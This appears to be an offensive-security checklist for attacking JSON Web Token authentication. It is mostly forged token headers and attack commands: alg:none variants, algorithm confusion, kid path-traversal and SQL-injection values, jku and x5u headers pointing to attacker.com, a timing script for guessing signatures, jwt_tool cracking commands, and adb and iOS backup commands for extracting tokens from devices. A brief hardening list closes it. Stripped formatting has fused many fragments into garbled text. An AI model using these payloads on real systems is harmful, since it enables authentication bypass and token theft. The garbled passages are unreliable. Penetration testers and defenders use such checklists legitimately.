Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
none — signature verification bypassed entirelyRSA and HMAC (confusion attack)kid, jku, jwk, x5u header parameters accepted without validationUseful tool: JWT Tool
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm | Type | Notes |
|---|---|---|
| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
| ES256/384/512 | Asymmetric ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | Asymmetric | |
| none | Unsigned | Critically insecure |
Additional pitfalls:
typ/cty
jku/x5u, insecure TLS, poisoned key caching, kid collisionsAuthorization: Bearer <token> headers in all requestseyJ...)kid, jku, jwk, x5u fields in the header — these are attack surfacesJWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
alg is none or a case variant (None, NONE, nOnE)alg to HS256; attacker re-signs token with the public keykid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookupsexp, nbf, aud, iss not verifiedjwk headerjku (JWK Set URL) to attacker-controlled JWKS endpointkid collisions or response header manipulationcrit Header Abuse — Server ignores unknown critical parameters, enabling bypassAndroid:
SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
adb backup -f backup.ab <package> (if allowBackup=true)iOS:
kSecAttrAccessible — kSecAttrAccessibleAlways is insecureReact Native / Hybrid:
AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
Referer header to external sites; CDN/cache logs may persist tokenscurl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature
Test none Algorithm (try all case variants):
{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt
Test Missing Claim Validation:
exp (expiration)iss (issuer) or aud (audience)iat (issued at) or nbf (not before)# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
Other tools:
aud (audience) and iss (issuer) claimsnone algorithm; prevent algorithm downgrades; pin alg per client/issueralg; reject mismatchescrit header parametersjku/x5u except trusted domains; short-TTL key caching with kid uniquenessjti for early revocationtyp:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce useSameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens